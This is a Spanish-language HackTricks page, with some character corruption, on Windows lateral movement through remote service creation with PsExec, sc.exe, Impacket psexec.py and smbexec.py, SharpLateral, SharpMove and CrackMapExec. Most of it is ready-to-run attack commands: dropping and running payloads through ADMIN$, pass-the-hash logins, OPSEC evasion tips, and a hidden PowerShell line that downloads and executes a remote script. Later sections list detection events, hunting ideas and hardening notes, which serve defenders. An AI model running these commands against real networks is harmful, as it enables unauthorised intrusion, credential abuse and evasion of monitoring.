PsExec/Winexec/ScExec/SMBExec
Reading time: 9 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripci贸n!
- 脷nete al 馃挰 grupo de Discord o al grupo de telegram o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
C贸mo funcionan
Estas t茅cnicas abusan del Administrador de Control de Servicios de Windows (SCM) de forma remota a trav茅s de SMB/RPC para ejecutar comandos en un host objetivo. El flujo com煤n es:
- Autenticarse en el objetivo y acceder al recurso compartido ADMIN$ a trav茅s de SMB (TCP/445).
- Copiar un ejecutable o especificar una l铆nea de comando LOLBAS que el servicio ejecutar谩.
- Crear un servicio de forma remota a trav茅s de SCM (MS-SCMR sobre \PIPE\svcctl) apuntando a ese comando o binario.
- Iniciar el servicio para ejecutar la carga 煤til y, opcionalmente, capturar stdin/stdout a trav茅s de un pipe con nombre.
- Detener el servicio y limpiar (eliminar el servicio y cualquier binario dejado).
Requisitos/prerrequisitos:
- Administrador local en el objetivo (SeCreateServicePrivilege) o derechos expl铆citos de creaci贸n de servicios en el objetivo.
- SMB (445) accesible y recurso compartido ADMIN$ disponible; Gesti贸n de Servicios Remotos permitida a trav茅s del firewall del host.
- Restricciones Remotas de UAC: con cuentas locales, el filtrado de tokens puede bloquear el acceso de administrador a trav茅s de la red a menos que se use el Administrador incorporado o LocalAccountTokenFilterPolicy=1.
- Kerberos vs NTLM: usar un nombre de host/FQDN habilita Kerberos; conectarse por IP a menudo vuelve a NTLM (y puede ser bloqueado en entornos endurecidos).
ScExec/WinExec manual a trav茅s de sc.exe
Lo siguiente muestra un enfoque m铆nimo de creaci贸n de servicios. La imagen del servicio puede ser un EXE dejado o un LOLBAS como cmd.exe o powershell.exe.
:: Execute a one-liner without dropping a binary
sc.exe \\TARGET create HTSvc binPath= "cmd.exe /c whoami > C:\\Windows\\Temp\\o.txt" start= demand
sc.exe \\TARGET start HTSvc
sc.exe \\TARGET delete HTSvc
:: Drop a payload to ADMIN$ and execute it (example path)
copy payload.exe \\TARGET\ADMIN$\Temp\payload.exe
sc.exe \\TARGET create HTSvc binPath= "C:\\Windows\\Temp\\payload.exe" start= demand
sc.exe \\TARGET start HTSvc
sc.exe \\TARGET delete HTSvc
Notas:
- Espere un error de tiempo de espera al iniciar un EXE que no sea un servicio; la ejecuci贸n a煤n ocurre.
- Para ser m谩s amigable con OPSEC, prefiera comandos sin archivos (cmd /c, powershell -enc) o elimine los artefactos dejados.
Encuentre pasos m谩s detallados en: https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/
Herramientas y ejemplos
Sysinternals PsExec.exe
- Herramienta cl谩sica de administraci贸n que utiliza SMB para dejar PSEXESVC.exe en ADMIN$, instala un servicio temporal (nombre predeterminado PSEXESVC) y proxy I/O a trav茅s de tuber铆as con nombre.
- Ejemplos de uso:
:: Interactive SYSTEM shell on remote host
PsExec64.exe -accepteula \\HOST -s -i cmd.exe
:: Run a command as a specific domain user
PsExec64.exe -accepteula \\HOST -u DOMAIN\user -p 'Passw0rd!' cmd.exe /c whoami /all
:: Customize the service name for OPSEC (-r)
PsExec64.exe -accepteula \\HOST -r WinSvc$ -s cmd.exe /c ipconfig
- Puedes lanzar directamente desde Sysinternals Live a trav茅s de WebDAV:
\\live.sysinternals.com\tools\PsExec64.exe -accepteula \\HOST -s cmd.exe /c whoami
OPSEC
- Deja eventos de instalaci贸n/desinstalaci贸n de servicios (el nombre del servicio suele ser PSEXESVC a menos que se use -r) y crea C:\Windows\PSEXESVC.exe durante la ejecuci贸n.
Impacket psexec.py (similar a PsExec)
- Utiliza un servicio embebido similar a RemCom. Deja un binario de servicio transitorio (nombre com煤nmente aleatorio) a trav茅s de ADMIN$, crea un servicio (por defecto a menudo RemComSvc) y hace proxy de I/O a trav茅s de un pipe con nombre.
# Password auth
psexec.py DOMAIN/user:Password@HOST cmd.exe
# Pass-the-Hash
psexec.py -hashes LMHASH:NTHASH DOMAIN/user@HOST cmd.exe
# Kerberos (use tickets in KRB5CCNAME)
psexec.py -k -no-pass -dc-ip 10.0.0.10 DOMAIN/user@host.domain.local cmd.exe
# Change service name and output encoding
psexec.py -service-name HTSvc -codec utf-8 DOMAIN/user:Password@HOST powershell -nop -w hidden -c "iwr http://10.10.10.1/a.ps1|iex"
Artefactos
- EXE temporal en C:\Windows\ (8 caracteres aleatorios). El nombre del servicio se establece de forma predeterminada en RemComSvc a menos que se sobrescriba.
Impacket smbexec.py (SMBExec)
- Crea un servicio temporal que genera cmd.exe y utiliza un pipe con nombre para I/O. Generalmente evita soltar una carga 煤til EXE completa; la ejecuci贸n de comandos es semi-interactiva.
smbexec.py DOMAIN/user:Password@HOST
smbexec.py -hashes LMHASH:NTHASH DOMAIN/user@HOST
SharpLateral y SharpMove
- SharpLateral (C#) implementa varios m茅todos de movimiento lateral, incluyendo la ejecuci贸n basada en servicios.
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
- SharpMove incluye modificaci贸n/creaci贸n de servicios para ejecutar un comando de forma remota.
SharpMove.exe action=modsvc computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true servicename=TestService
SharpMove.exe action=startservice computername=remote.host.local servicename=TestService
- Tambi茅n puedes usar CrackMapExec para ejecutar a trav茅s de diferentes backends (psexec/smbexec/wmiexec):
cme smb HOST -u USER -p PASS -x "whoami" --exec-method psexec
cme smb HOST -u USER -H NTHASH -x "ipconfig /all" --exec-method smbexec
OPSEC, detecci贸n y artefactos
Artefactos t铆picos de host/red al usar t茅cnicas similares a PsExec:
- Seguridad 4624 (Tipo de inicio de sesi贸n 3) y 4672 (Privilegios especiales) en el objetivo para la cuenta de administrador utilizada.
- Seguridad 5140/5145 Eventos de Compartici贸n de Archivos y Detalles de Compartici贸n de Archivos mostrando acceso a ADMIN$ y creaci贸n/escritura de binarios de servicio (por ejemplo, PSEXESVC.exe o .exe aleatorio de 8 caracteres).
- Seguridad 7045 Instalaci贸n de Servicio en el objetivo: nombres de servicio como PSEXESVC, RemComSvc, o personalizados (-r / -service-name).
- Sysmon 1 (Creaci贸n de Proceso) para services.exe o la imagen del servicio, 3 (Conexi贸n de Red), 11 (Creaci贸n de Archivo) en C:\Windows, 17/18 (Tuber铆a Creada/Conectada) para tuber铆as como \.\pipe\psexesvc, \.\pipe\remcom_*, o equivalentes aleatorios.
- Artefacto de Registro para EULA de Sysinternals: HKCU\Software\Sysinternals\PsExec\EulaAccepted=0x1 en el host del operador (si no est谩 suprimido).
Ideas de caza
- Alertar sobre instalaciones de servicios donde el ImagePath incluya cmd.exe /c, powershell.exe, o ubicaciones TEMP.
- Buscar creaciones de procesos donde ParentImage sea C:\Windows\PSEXESVC.exe o hijos de services.exe ejecut谩ndose como LOCAL SYSTEM ejecutando shells.
- Marcar tuber铆as nombradas que terminen en -stdin/-stdout/-stderr o nombres de tuber铆as de clon de PsExec bien conocidos.
Soluci贸n de problemas de fallos comunes
- Acceso denegado (5) al crear servicios: no es realmente administrador local, restricciones de UAC para cuentas locales, o protecci贸n contra manipulaci贸n de EDR en la ruta del binario del servicio.
- La ruta de red no fue encontrada (53) o no se pudo conectar a ADMIN$: firewall bloqueando SMB/RPC o comparticiones de administrador deshabilitadas.
- Kerberos falla pero NTLM est谩 bloqueado: conectarse usando nombre de host/FQDN (no IP), asegurar SPNs adecuados, o proporcionar -k/-no-pass con tickets al usar Impacket.
- El inicio del servicio se agota pero la carga 煤til se ejecut贸: esperado si no es un binario de servicio real; capturar salida a un archivo o usar smbexec para I/O en vivo.
Notas de endurecimiento
- Windows 11 24H2 y Windows Server 2025 requieren firma SMB por defecto para conexiones salientes (y Windows 11 entrantes). Esto no interrumpe el uso leg铆timo de PsExec con credenciales v谩lidas, pero previene el abuso de retransmisi贸n SMB no firmada y puede afectar a dispositivos que no soportan la firma.
- El nuevo bloqueo de NTLM del cliente SMB (Windows 11 24H2/Server 2025) puede prevenir la retroceso de NTLM al conectarse por IP o a servidores no Kerberos. En entornos endurecidos, esto romper谩 PsExec/SMBExec basado en NTLM; use Kerberos (nombre de host/FQDN) o configure excepciones si es leg铆timamente necesario.
- Principio de menor privilegio: minimizar la membres铆a de administrador local, preferir Just-in-Time/Just-Enough Admin, hacer cumplir LAPS, y monitorear/alertar sobre instalaciones de servicio 7045.
Ver tambi茅n
- Ejecuci贸n remota basada en WMI (a menudo m谩s sin archivos):
- Ejecuci贸n remota basada en WinRM:
Referencias
- PsExec - Sysinternals | Microsoft Learn: https://learn.microsoft.com/sysinternals/downloads/psexec
- Endurecimiento de seguridad SMB en Windows Server 2025 y Windows 11 (firma por defecto, bloqueo de NTLM): https://techcommunity.microsoft.com/blog/filecab/smb-security-hardening-in-windows-server-2025--windows-11/4226591
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripci贸n!
- 脷nete al 馃挰 grupo de Discord o al grupo de telegram o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.